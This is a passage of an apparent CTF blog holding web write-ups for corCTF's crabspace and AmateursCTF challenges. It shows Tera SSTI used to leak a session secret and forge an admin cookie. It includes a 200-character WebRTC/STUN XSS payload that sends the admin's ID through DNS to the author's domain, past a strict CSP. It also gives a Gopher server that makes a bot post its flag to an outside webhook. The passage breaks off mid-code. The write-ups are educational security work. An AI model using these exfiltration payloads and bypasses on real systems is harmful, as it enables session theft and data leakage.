<p>With content in <code class="highlighter-rouge">srcdoc</code>, it is rendered as HTML in the <code class="highlighter-rouge">iframe</code> even it is escaped in the template, thus we have an easy(?) XSS.</p>

<p>The users are defined as a struct as shown below and stored in a map.</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">#[derive(Debug,</span> <span class="nd">Serialize,</span> <span class="nd">Clone)]</span>
<span class="k">pub</span> <span class="k">struct</span> <span class="n">User</span> <span class="p">{</span>
    <span class="k">pub</span> <span class="n">id</span><span class="p">:</span> <span class="n">Uuid</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">name</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">pass</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">following</span><span class="p">:</span> <span class="nb">Vec</span><span class="o">&lt;</span><span class="n">Uuid</span><span class="o">&gt;</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">followers</span><span class="p">:</span> <span class="nb">Vec</span><span class="o">&lt;</span><span class="n">Uuid</span><span class="o">&gt;</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">space</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The admin user with flag as the password, and a random ID is created on starting of the application.</p>

<p>The bot first logs in as admin, then visit an URL we provide.</p>

<h2 id="finding-ssti">Finding SSTI</h2>

<p>Initially it was not clear how we can get the flag from what is obvious. While I was on the train I read the source code twice and with the help of <a href="https://docs.rs/tera/latest/tera/struct.Tera.html#method.one_off">documentation</a> I found the <code class="highlighter-rouge">one_off</code> function in Tera when rendering “space” page is a bit suspicious.</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ctx</span><span class="py">.tera</span><span class="nf">.insert</span><span class="p">(</span>
    <span class="s">"space"</span><span class="p">,</span>
    <span class="o">&amp;</span><span class="nn">Tera</span><span class="p">::</span><span class="nf">one_off</span><span class="p">(</span><span class="o">&amp;</span><span class="n">user</span><span class="py">.space</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ctx</span><span class="py">.tera</span><span class="p">,</span> <span class="k">true</span><span class="p">)</span><span class="nf">.unwrap_or_else</span><span class="p">(|</span><span class="n">_</span><span class="p">|</span> <span class="n">user</span><span class="py">.space</span><span class="nf">.clone</span><span class="p">()),</span>
<span class="p">);</span>
<span class="n">ctx</span><span class="py">.tera</span><span class="nf">.insert</span><span class="p">(</span><span class="s">"id"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">id</span><span class="p">);</span>
<span class="nn">utils</span><span class="p">::</span><span class="nf">render</span><span class="p">(</span><span class="n">tera</span><span class="p">,</span> <span class="s">"space.html"</span><span class="p">,</span> <span class="n">ctx</span><span class="py">.tera</span><span class="p">)</span><span class="nf">.into_response</span><span class="p">()</span>
</code></pre></div></div>

<p><img src="/assets/image/corctf-2023-crabspace-web-writeup/one-off.png" alt="one_off is used in the code." /></p>

<p>The code takes the user’s “space” as template and renders it. Tera templates documentation can be found at <a href="https://tera.netlify.app/docs/#templates">https://tera.netlify.app/docs/#templates</a>.</p>

<p>When I printed out the template context with <code class="highlighter-rouge">{{ __tera_context }}</code>, I got:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{ "user": { "followers": [], "following": [], "id": "af787749-d532-4d37-94a6-2d6bc4201f63", "name": "lollol", "pass": "", "space": "{{ __tera_context }}" } }
</code></pre></div></div>

<p>The context includes the user struct, which includes the ID of the logged in user. However, the password is set to empty string when the context is created:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">user</span> <span class="o">=</span> <span class="n">USERS</span><span class="nf">.get</span><span class="p">(</span><span class="o">&amp;</span><span class="n">id</span><span class="p">)</span><span class="nf">.map</span><span class="p">(|</span><span class="n">v</span><span class="p">|</span> <span class="n">User</span> <span class="p">{</span>
    <span class="n">pass</span><span class="p">:</span> <span class="s">""</span><span class="nf">.to_string</span><span class="p">(),</span>
    <span class="o">..</span><span class="n">v</span><span class="nf">.clone</span><span class="p">()</span>
<span class="p">});</span>
</code></pre></div></div>

<p>We can use SSTI to leak the secret for session cookie with <code class="highlighter-rouge">{{ get_env(name="SECRET") }}</code>. With the secret and the user ID of admin, we can forge a session cookie to login as admin.</p>

<h2 id="leak-admin-user-id">Leak admin user ID</h2>

<p>With the SSIT which can render the user ID and XSS, leaking the admin user ID should be easy right? However, with the very strict fetch directive CSP below, we tried including fetch API, WebSocket, meta tag and JS redirect, form and DNS prefetch, but had no luck exfiltrating the data. I could not find any endpoint on within the challenge that I could use style-src to exfiltrate the data neither.</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>default-src 'none'; style-src 'self'; script-src 'unsafe-inline'; frame-ancestors 'none'
</code></pre></div></div>

<p>I then reading through all non-fetch directives in CSP, and some research. While getting ready to go to bed, thinking about all the cases where a webpage makes request to server, WebRTC came to my mind (I have also noticed <a href="https://www.w3.org/TR/webrtc-nv-use-cases/">a very new TR about WebRTC</a>, which may or may not be related). As I do not know much about WebRTC, I put a message on our Discord channel before I went to bed.</p>

<p>The next morning, I started with some WebRTC examples. The payload is limited to only 200 characters, with some trial and error, I managed to craft a minimal payload (and minified with <a href="https://www.toptal.com/developers/javascript-minifier">https://www.toptal.com/developers/javascript-minifier</a>) that would do DNS request for the STUN server I specify:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span><span class="k">async</span> <span class="kd">function</span> <span class="nx">a</span><span class="p">(){</span><span class="nx">c</span><span class="o">=</span><span class="p">({</span><span class="na">iceServers</span><span class="p">:[{</span><span class="na">urls</span><span class="p">:</span><span class="dl">"</span><span class="s2">stun:{{user.id}}.x.cjxol.com:1337</span><span class="dl">"</span><span class="p">}]})(</span><span class="nx">p</span><span class="o">=</span><span class="k">new</span> <span class="nx">RTCPeerConnection</span><span class="p">(</span><span class="nx">c</span><span class="p">)).</span><span class="nx">createDataChannel</span><span class="p">(</span><span class="dl">"</span><span class="s2">d</span><span class="dl">"</span><span class="p">),</span><span class="k">await</span> <span class="nx">p</span><span class="p">.</span><span class="nx">setLocalDescription</span><span class="p">()}</span><span class="nx">a</span><span class="p">();</span><span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>With whitespace added to make it be more readable in the blogpost (however it’s more than 200 characters including whitespace):</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span>
<span class="k">async</span> <span class="kd">function</span> <span class="nx">a</span><span class="p">(){</span>
    <span class="nx">c</span><span class="o">=</span><span class="p">{</span><span class="na">iceServers</span><span class="p">:[{</span><span class="na">urls</span><span class="p">:</span><span class="dl">"</span><span class="s2">stun:{{user.id}}.x.cjxol.com:1337</span><span class="dl">"</span><span class="p">}]}</span>
    <span class="p">(</span><span class="nx">p</span><span class="o">=</span><span class="k">new</span> <span class="nx">RTCPeerConnection</span><span class="p">(</span><span class="nx">c</span><span class="p">)).</span><span class="nx">createDataChannel</span><span class="p">(</span><span class="dl">"</span><span class="s2">d</span><span class="dl">"</span><span class="p">)</span>
    <span class="k">await</span> <span class="nx">p</span><span class="p">.</span><span class="nx">setLocalDescription</span><span class="p">()</span>
<span class="p">}</span>
<span class="nx">a</span><span class="p">();</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>The port does not matter, as we are exfiltrating through DNS request. The user ID is included in the hostname and sent through DNS request.</p>

<h2 id="getting-the-flag">Getting the flag</h2>

<p>The admin account has access to admin view for each user (except admin itself). The admin view has the lists of followers and followings of the user. The lists are sorted with field specified in the URL query parameter. It is possible to sort by password field using <code class="highlighter-rouge">?sort=pass</code>.</p>

<p>We can have a main account to follow other users. We can then create a list of users with selected password, and follow them along with admin on our main account. With the admin view, we can list the followings of the main account sorted by password, and we can get the flag character by character. This can be scripted with preparing the whole following list and get one character each time we visit the admin view, or can script with binary search. (This is kinda pain to extract the flag, thanks to my teammate implemented the solution.)</p>

<p>Got the flag 🦀:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>corctf{b3tter_name_th4n_x}
</code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="ctf writeup" /><category term="ctf web" /><summary type="html"><![CDATA[corCTF Event on CTFtime]]></summary></entry><entry><title type="html">AmateursCTF Web Writeup</title><link href="https://www.cjxol.com/posts/amateursctf-web-writeup/" rel="alternate" type="text/html" title="AmateursCTF Web Writeup" /><published>2023-07-25T00:00:00+01:00</published><updated>2023-07-25T00:00:00+01:00</updated><id>https://www.cjxol.com/posts/amateursctf-web-writeup</id><content type="html" xml:base="https://www.cjxol.com/posts/amateursctf-web-writeup/"><![CDATA[<p><a href="https://ctf.amateurs.team/">AmateursCTF</a><br />
<a href="https://ctftime.org/event/1983">Event on CTFtime</a></p>

<p>3 web challenge writeups in this post:</p>
<ul>
  <li><a href="#wait-an-eternity">wait-an-eternity</a></li>
  <li><a href="#go-gopher">go-gopher</a></li>
  <li><a href="#gopher-revenge">gopher-revenge</a> (got first blood on this challenge! Not finishing the detailed writeup, but with a summary)</li>
</ul>

<h2 id="wait-an-eternity">wait-an-eternity</h2>

<ul>
  <li>Description:
    <blockquote>
      <p>My friend sent me this website and said that if I wait long enough, I could get and flag! Not that I need a flag or anything, but I’ve been waiting a couple days and it’s still asking me to wait. I’m getting a little impatient, could you help me get the flag?</p>
    </blockquote>
  </li>
  <li>Author: voxal</li>
  <li>Entry point: <a href="https://waiting-an-eternity.amt.rs/">waiting-an-eternity.amt.rs</a></li>
</ul>

<h3 id="first-eternity">First eternity</h3>

<p>The webpage just had text “just wait an eternity”. When inspect the request, there is a “Refresh” header with a huge value and url with a secret code.</p>

<p><img src="/assets/image/amateursctf-web-writeup/first-eternity.png" alt="First eternity" /></p>

<h3 id="another-eternity">Another eternity</h3>

<p>Visit the url in the “Refresh” header, it shows a page saying “welcome. please wait another eternity.”.</p>

<p>Inspect the request, it sets a cookie “time” with a value appears to be the current timestamp like <code class="highlighter-rouge">1690326049.1573777</code>. With the cookie set, refresh the page, and the page shows text like “you have not waited an eternity. you have only waited 228.13574051856995 seconds”. The time mentioned in the message appears to be the difference between the current timestamp and the timestamp in the cookie.</p>

<p>Sets the cookie to a large value, it says have only waited a large negative number of seconds. Sets the cookie to a negative value, it says have waited a large number of seconds, but there is still no flag.</p>

<p>The message told to wait an eternity, but how long is an eternity? The internet says the definitions of eternity is “<a href="https://www.dictionary.com/browse/eternity">infinite time</a>”, “<a href="https://dictionary.cambridge.org/dictionary/english/eternity">time that never ends</a>” or “a very long time”. Hmm, how long the website would consider to be an eternity? Look up gunicorn that appears to be the web server according to the response header, the website is running Python. In Python, a number (except <code class="highlighter-rouge">-inf</code>) minus <code class="highlighter-rouge">-inf</code> would be <code class="highlighter-rouge">inf</code>. So, if the cookie value is <code class="highlighter-rouge">-inf</code>, the number of seconds have waited would be <code class="highlighter-rouge">inf</code>, and website would consider it to be an eternity.</p>

<p><img src="/assets/image/amateursctf-web-writeup/another-eternity.png" alt="Another eternity" /></p>

<p>After two eternities, I got the flag:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>amateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}
</code></pre></div></div>

<h4 id="speculation">Speculation</h4>

<p>The web server is probably taking value from the cookie, and use <code class="highlighter-rouge">float()</code> to convert it to a float, thus <code class="highlighter-rouge">float('-inf')</code> would be float <code class="highlighter-rouge">-inf</code>. Number of seconds waited is calculated by subtracting the float value from the current timestamp. (Actually, yes, can confirm with the <a href="https://github.com/les-amateurs/AmateursCTF-Public/blob/b9b40a55969e3e1553ed14e66bb460a9370db509/2023/web/waiting-an-eternity/main.py#L18">source code</a>)</p>

<h2 id="go-gopher">go-gopher</h2>

<p>This challenge was cheesed with subdomains or certain domain names because it only checks the host prefix. There is a revenge challenge <a href="#gopher-revenge">gopher-revenge</a>.</p>

<ul>
  <li>Description:
    <blockquote>
      <p>psst… i know flag sharing isn’t allowed, and i found this page where someone seems to be recieving flags from someone else. can you somehow find a way to hijack this site so it gives me flags? thanks.</p>
    </blockquote>
  </li>
  <li>Author: voxal</li>
  <li>Entry point:
    <ul>
      <li>gopher://amt.rs:31290/</li>
      <li><a href="https://gopher-bot.amt.rs/">gopher-bot.amt.rs</a></li>
    </ul>
  </li>
  <li>Downloads:
    <ul>
      <li><a href="https://amateurs-prod.storage.googleapis.com/uploads/7c93488d980366dd6255b08e1bb8ac751565508920151011276c964116df5479/bot.go">bot.go</a></li>
      <li><a href="https://amateurs-prod.storage.googleapis.com/uploads/b652421619610ac09116d516ac4f659ac95d73402048c96e29cfb2ad183104f7/main.go">main.go</a></li>
    </ul>
  </li>
</ul>

<h3 id="the-challenge">The challenge</h3>

<p>Submit and Visit function for bot</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">Submit</span><span class="p">(</span><span class="n">w</span> <span class="n">http</span><span class="o">.</span><span class="n">ResponseWriter</span><span class="p">,</span> <span class="n">r</span> <span class="o">*</span><span class="n">http</span><span class="o">.</span><span class="n">Request</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">r</span><span class="o">.</span><span class="n">ParseForm</span><span class="p">()</span>
	<span class="n">u</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">url</span><span class="o">.</span><span class="n">Parse</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">Form</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"url"</span><span class="p">))</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="o">||</span> <span class="o">!</span><span class="n">strings</span><span class="o">.</span><span class="n">HasPrefix</span><span class="p">(</span><span class="n">u</span><span class="o">.</span><span class="n">Host</span><span class="p">,</span> <span class="s">"amt.rs"</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">w</span><span class="o">.</span><span class="n">Write</span><span class="p">([]</span><span class="kt">byte</span><span class="p">(</span><span class="s">"Invalid url"</span><span class="p">))</span>
		<span class="k">return</span>
	<span class="p">}</span>
	<span class="n">w</span><span class="o">.</span><span class="n">Write</span><span class="p">([]</span><span class="kt">byte</span><span class="p">(</span><span class="n">Visit</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">Form</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"url"</span><span class="p">))))</span>
<span class="p">}</span>
<span class="k">func</span> <span class="n">Visit</span><span class="p">(</span><span class="n">url</span> <span class="kt">string</span><span class="p">)</span> <span class="kt">string</span> <span class="p">{</span>
	<span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
	<span class="n">res</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">gopher</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="k">return</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"Something went wrong: %s"</span><span class="p">,</span> <span class="n">err</span><span class="o">.</span><span class="n">Error</span><span class="p">())</span>
	<span class="p">}</span>
	<span class="n">h</span><span class="p">,</span> <span class="n">_</span> <span class="o">:=</span> <span class="n">res</span><span class="o">.</span><span class="n">Dir</span><span class="o">.</span><span class="n">ToText</span><span class="p">()</span>
	<span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="kt">string</span><span class="p">(</span><span class="n">h</span><span class="p">))</span>
	<span class="n">url</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">strings</span><span class="o">.</span><span class="n">CutPrefix</span><span class="p">(</span><span class="n">res</span><span class="o">.</span><span class="n">Dir</span><span class="o">.</span><span class="n">Items</span><span class="p">[</span><span class="m">2</span><span class="p">]</span><span class="o">.</span><span class="n">Selector</span><span class="p">,</span> <span class="s">"URL:"</span><span class="p">)</span>
	<span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
	<span class="n">_</span><span class="p">,</span> <span class="n">err</span> <span class="o">=</span> <span class="n">http</span><span class="o">.</span><span class="n">Post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="s">"text/plain"</span><span class="p">,</span> <span class="n">bytes</span><span class="o">.</span><span class="n">NewBuffer</span><span class="p">(</span><span class="n">flag</span><span class="p">))</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="k">return</span> <span class="s">"Failed to make request"</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="s">"Successful visit"</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The bot will make Gopher request to the url provided, extract the URL from the selector of the 3rd item (at index 2) in the response, and make a POST request to the URL with the flag.</p>

<p>The bot does restrict the host of the Gopher url to start with <code class="highlighter-rouge">amt.rs</code>, however this can be easily bypassed with subdomains like <code class="highlighter-rouge">gopher://amt.rs.cjxol.com:31290/</code>. The the server can response with my URL in the relative position, the bot would make a POST request to my URL with the flag. The URL for the POST request is not restricted.</p>

<p><img src="/assets/image/amateursctf-web-writeup/go-gopher-flag.png" alt="go-gopher flag" /></p>

<p>Here is my Gopher server code:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span> <span class="n">main</span>
<span class="k">import</span> <span class="p">(</span>
        <span class="s">"fmt"</span>
        <span class="s">"log"</span>
        <span class="s">"git.mills.io/prologic/go-gopher"</span>
<span class="p">)</span>
<span class="k">func</span> <span class="n">hello</span><span class="p">(</span><span class="n">w</span> <span class="n">gopher</span><span class="o">.</span><span class="n">ResponseWriter</span><span class="p">,</span> <span class="n">r</span> <span class="o">*</span><span class="n">gopher</span><span class="o">.</span><span class="n">Request</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">w</span><span class="o">.</span><span class="n">WriteInfo</span><span class="p">(</span><span class="s">"Hello!"</span><span class="p">)</span>
        <span class="n">w</span><span class="o">.</span><span class="n">WriteInfo</span><span class="p">(</span><span class="s">"again"</span><span class="p">)</span>
        <span class="n">w</span><span class="o">.</span><span class="n">WriteItem</span><span class="p">(</span><span class="o">&amp;</span><span class="n">gopher</span><span class="o">.</span><span class="n">Item</span><span class="p">{</span>
                <span class="n">Selector</span><span class="o">:</span>       <span class="s">"https://webhook.site/[reducted]"</span><span class="p">,</span>
        <span class="p">})</span>
        <span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"hello"</span><span class="p">)</span>
<span class="p">}</span>
<span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
        <span class="n">gopher</span><span class="o">.</span><span class="n">HandleFunc</span><span class="p">(</span><span class="s">"/"</span><span class="p">,</span> <span class="n">hello</span><span class="p">)</span>
        <span class="n">log</span><span class="o">.</span><span class="n">Fatal</span><span class="p">(</span><span class="n">gopher</span><span class="o">.</span><span class="n">ListenAndServe</span><span class="p">(</span><span class="s">"0.0.0.0:31337"</span><span class="p">,</span> <span class="no">nil</span><span class="p">))</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Here is the Gopher response:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>iHello!         error.host      1
iagain          error.host      1
        https://webhook.site/[reducted]       ::      31337
.
</code></pre></div></div>

<h2 id="gopher-revenge">gopher-revenge</h2>

<p>This writeup is updated on 28 July 2023.</p>

<p>Got first blood on this challenge (this is POG!). The challenge had a total of 19 solves during the CTF.</p>

<ul>
  <li>Description:
    <blockquote>
      <p>you guys are going to regret ever crossing me.</p>
    </blockquote>

    <p>Later added the following clarification/hint due to a few teams with very close solutions fails submitting the correct flag:</p>
    <blockquote>
      <p>the flag in “flag.txt” is the exact same flag you need to submit</p>
    </blockquote>
  </li>
  <li>Author: voxal</li>
  <li>Entry point:
    <ul>
      <li>The Gopher endpoint gopher://amt.rs:31290/ for <a href="#go-gopher">go-gopher</a> is still useable to this challenge (implied)</li>
      <li><a href="https://hell.amt.rs">hell.amt.rs</a> (the bot user interface)</li>
    </ul>
  </li>
  <li>Downloads
    <ul>
      <li>The Gopher server code is still the same as for <a href="#go-gopher">go-gopher</a> (implied)</li>
      <li><a href="https://amateurs-prod.storage.googleapis.com/uploads/8d307d2b5f9f5c4075fbfe1b7d6ae10c01508306c94ab073d3895900d0052842/bot.go">bot.go</a> updated from <a href="#go-gopher">go-gopher</a></li>
    </ul>
  </li>
</ul>

<h3 id="the-challenge-1">The challenge</h3>

<p>Submit and Visit function of the bot.</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">Submit</span><span class="p">(</span><span class="n">w</span> <span class="n">http</span><span class="o">.</span><span class="n">ResponseWriter</span><span class="p">,</span> <span class="n">r</span> <span class="o">*</span><span class="n">http</span><span class="o">.</span><span class="n">Request</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">r</span><span class="o">.</span><span class="n">ParseForm</span><span class="p">()</span>
	<span class="n">u</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">url</span><span class="o">.</span><span class="n">Parse</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">Form</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"url"</span><span class="p">))</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="o">||</span> <span class="n">u</span><span class="o">.</span><span class="n">Host</span> <span class="o">!=</span> <span class="s">"amt.rs:31290"</span> <span class="p">{</span>
		<span class="n">w</span><span class="o">.</span><span class="n">Write</span><span class="p">([]</span><span class="kt">byte</span><span class="p">(</span><span class="s">"Invalid url"</span><span class="p">))</span>
		<span class="k">return</span>
	<span class="p">}</span>
	<span class="n">w</span><span class="o">.</span><span class="n">Write</span><span class="p">([]</span><span class="kt">byte</span><span class="p">(</span><span class="n">Visit</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">Form</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"url"</span><span class="p">))))</span>
<span class="p">}</span>
<span class="k">func</span> <span class="n">Visit</span><span class="p">(</span><span class="n">gopherURL</span> <span class="kt">string</span><span class="p">)</span> <span class="kt">string</span> <span class="p">{</span>
	<span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="n">gopherURL</span><span class="p">)</span>
	<span class="n">res</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">gopher</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="n">gopherURL</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="k">return</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"Something went wrong: %s"</span><span class="p">,</span> <span class="n">err</span><span class="o">.</span><span class="n">Error</span><span class="p">())</span>
	<span class="p">}</span>
	<span class="n">rawURL</span><span class="p">,</span> <span class="n">_</span> <span class="o">:=</span> <span class="n">strings</span><span class="o">.</span><span class="n">CutPrefix</span><span class="p">(</span><span class="n">res</span><span class="o">.</span><span class="n">Dir</span><span class="o">.</span><span class="n">Items</span><span class="p">[</span><span class="m">2</span><span class="p">]</span><span class="o">.</span><span class="n">Selector</span><span class="p">,</span> <span class="s">"URL:"</span><span class="p">)</span>
	<span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="n">rawURL</span><span class="p">)</span>
	<span class="n">u</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">url</span><span class="o">.</span><span class="n">Parse</span><span class="p">(</span><span class="n">rawURL</span><span class="p">)</span>
	<span class="n">etldpo</span><span class="p">,</span> <span class="n">err2</span> <span class="o">:=</span> <span class="n">publicsuffix</span><span class="o">.</span><span class="n">EffectiveTLDPlusOne</span><span class="p">(</span><span class="n">u</span><span class="o">.</span><span class="n">Host</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="o">||</span> <span class="n">err2</span> <span class="o">!=</span> <span class="no">nil</span> <span class="o">||</span> <span class="n">etldpo</span> <span class="o">!=</span> <span class="s">"amt.rs"</span> <span class="p">{</span>
		<span class="k">return</span> <span class="s">"Invalid url"</span>
	<span class="p">}</span>
	<span class="n">resp</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">http</span><span class="o">.</span><span class="n">Post</span><span class="p">(</span><span class="n">u</span><span class="o">.</span><span class="n">String</span><span class="p">(),</span> <span class="s">"application/x-www-form-urlencoded"</span><span class="p">,</span>
		<span class="n">bytes</span><span class="o">.</span><span class="n">NewBuffer</span><span class="p">([]</span><span class="kt">byte</span><span class="p">(</span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span>
		<span class="s">"username=%s&amp;password=%s"</span><span class="p">,</span> <span class="n">randomString</span><span class="p">(</span><span class="m">20</span><span class="p">),</span> <span class="n">flag</span><span class="p">))))</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="k">return</span> <span class="s">"Failed to make request"</span>
	<span class="p">}</span>
	<span class="n">cookies</span> <span class="o">:=</span> <span class="n">resp</span><span class="o">.</span><span class="n">Cookies</span><span class="p">()</span>
	<span class="n">token</span> <span class="o">:=</span> <span class="s">""</span>
	<span class="k">for</span> <span class="n">_</span><span class="p">,</span> <span class="n">c</span> <span class="o">:=</span> <span class="k">range</span> <span class="n">cookies</span> <span class="p">{</span>
		<span class="k">if</span> <span class="n">c</span><span class="o">.</span><span class="n">Name</span> <span class="o">==</span> <span class="s">"token"</span> <span class="p">{</span>
			<span class="n">token</span> <span class="o">=</span> <span class="n">c</span><span class="o">.</span><span class="n">Value</span>
		<span class="p">}</span>
	<span class="p">}</span>
	<span class="k">if</span> <span class="n">token</span> <span class="o">!=</span> <span class="s">""</span> <span class="p">{</span>
		<span class="k">return</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"Thanks for sending in a flag! Use the following token once i get the gopher-catcher frontend setup: %s"</span><span class="p">,</span> <span class="n">token</span><span class="p">)</span>
	<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
		<span class="k">return</span> <span class="s">"Something went wrong, my sever should have sent a cookie back but it didn't..."</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Similar to before as in <a href="#go-gopher">go-gopher</a>, the bot makes Gopher request to an URL we provide, and then makes a HTTP POST request to a URL extracted from the selector of the second item in the Gopher response. The HTTP request contains a random string as “username” and the flag as “password”. The value of the cookie named “token” from the HTTP response will then be shown to us.</p>

<h3 id="take-control-of-the-url-in-the-response">Take control of the URL in the response</h3>

<p>Unlike in <a href="#go-gopher">go-gopher</a> with the cheese to bypass the Gopher URL check, I could not find a way to bypass the check with <code class="highlighter-rouge">u.Host != "amt.rs:31290"</code>. This means I have to provide the Gopher URL to this host.</p>

<h4 id="the-gopher-protocol">The Gopher Protocol</h4>

<p>Reading <a href="https://datatracker.ietf.org/doc/html/rfc1436#section-2">RFC 1436</a> about the Gopher protocol, Gopher is a text-based protocol. The server responses with each item in each line terminated with CR LF, and a period “.” on its own line after the last item. For each line, the first character describes the type of the item, and all character following until a tab is the “user display string”. Each item after ths is also tab-separated. The next field is “selector string”. The next two fields are the domain-name and port for the document or directory described in this line.</p>

<p>In the example requests to the challenge server:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc amt.rs 31290
/submit/lol
iHello lol              error.host      1
iPlease send a post request containing your flag at the server down below.              error.host      1
0Submit here! (gopher doesn't have forms D:)    URL:http://amt.rs/gophers-catcher-not-in-scope  error.host      1
.

</code></pre></div></div>

<p>The client sends the line “magic string” <code class="highlighter-rouge">/submit/</code> for the file/directory. In the response, the first character of each line “i” means the item is for info, 0 means the item is a document (though in this challenge I do not need to care abut the difference). In the 3rd item, the selector is “URL:http://amt.rs/gophers-catcher-not-in-scope”.</p>

<h4 id="the-challenge-gopher-server">The challenge Gopher server</h4>

<p>The interesting function in the Gopher server is <code class="highlighter-rouge">submit</code>, as it appears to point to a “non-exist” flag catcher” (which I confirmed with the CTF organisers that is indeed does not exist). Also the function makes use of the client input.</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">submit</span><span class="p">(</span><span class="n">w</span> <span class="n">gopher</span><span class="o">.</span><span class="n">ResponseWriter</span><span class="p">,</span> <span class="n">r</span> <span class="o">*</span><span class="n">gopher</span><span class="o">.</span><span class="n">Request</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">name</span> <span class="o">:=</span> <span class="n">strings</span><span class="o">.</span><span class="n">Split</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">Selector</span><span class="p">,</span> <span class="s">"/"</span><span class="p">)[</span><span class="m">2</span><span class="p">]</span>
	<span class="n">undecoded</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">url</span><span class="o">.</span><span class="n">QueryUnescape</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
